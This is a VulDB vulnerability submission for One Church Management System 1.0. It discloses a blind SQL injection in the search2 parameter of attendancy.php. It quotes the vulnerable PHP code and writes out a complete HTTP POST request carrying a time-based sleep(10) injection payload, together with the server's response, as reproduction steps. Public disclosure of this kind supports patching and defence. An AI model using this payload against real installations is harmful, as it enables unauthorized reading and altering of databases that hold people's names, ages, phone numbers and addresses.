| Titolo | One Church Management System 1.0 - attendancy.php (search2) SQL Injection |
|---|
| Descrizione | # Exploit Title: One Church Management System 1.0 - attendancy.php (search2) SQL Injection
# Date: 18/03/2022
# Exploit Author: Mr Empy
# Software Link: https://www.sourcecodester.com/php/15225/church-management-software-free-download-full-version.html
# Version: 1.0
# Tested on: Linux
Title:
================
One Church Management System 1.0 - attendancy.php (search2) SQL Injection
Summary:
================
The One Church Management System suffers from a Structured Query Language (SQL) injection vulnerability because of the lack of query preparation with the PDO module. This allows an attacker to query the database, breaking confidentiality and integrity.
88. if(isset($_POST['search2'])&& !empty($_POST['search2'])){
89. $search2 = $_POST['search2'];
90. $sql="SELECT tblchristian.ID,tblchristian.Name,tblchristian.Sex,tblchristian.Age,tblchristian.Occupation,tblchristian.District,tblchristian.Village,tblchristian.Phone from tblchristian where Code = '$search2'";
91. $query = $dbh -> prepare($sql);
92. $query->execute();
93. $results=$query->fetchAll(PDO::FETCH_OBJ);
94. $cnt=1;
Severity Level:
================
9.1 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Affected Product:
================
One Church Management System v1.0
Steps to Reproduce:
================
1. Open a request repeater (like Burp Suite) and send this request:
POST /one_church/attendancy.php HTTP/1.1
Host: target.com
Content-Length: 102
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://target.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://target.com/one_church/attendancy.php
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
search2=%27+and+%28select+*+from%28select%28sleep%2810%29%29%29Avx%29+and+%27abc%27+%3D+%27abc&search=
In the search2 parameter I injected a SQL blind payload: ' and (select * from(select(sleep(10)))Avx) and 'abc' = 'abc
Reponse:
HTTP/1.1 302 Found
Date: Fri, 18 Mar 2022 14:02:51 GMT
Server: Apache/2.4.52
Set-Cookie: PHPSESSID=2fdb771gp041gnuphtglv608b1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: http://target.com/one_church/index.php
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14927 |
|---|
| Fonte | ⚠️ https://www.sourcecodester.com/php/15225/church-management-software-free-download-full-version.html? |
|---|
| Utente | mrempy (UID 24379) |
|---|
| Sottomissione | 18/03/2022 15:06 (5 anni fa) |
|---|
| Moderazione | 18/03/2022 15:13 (7 minutes later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 195442 [SourceCodester One Church Management System 1.0 attendancy.php search2 iniezione SQL] |
|---|
| Punti | 20 |
|---|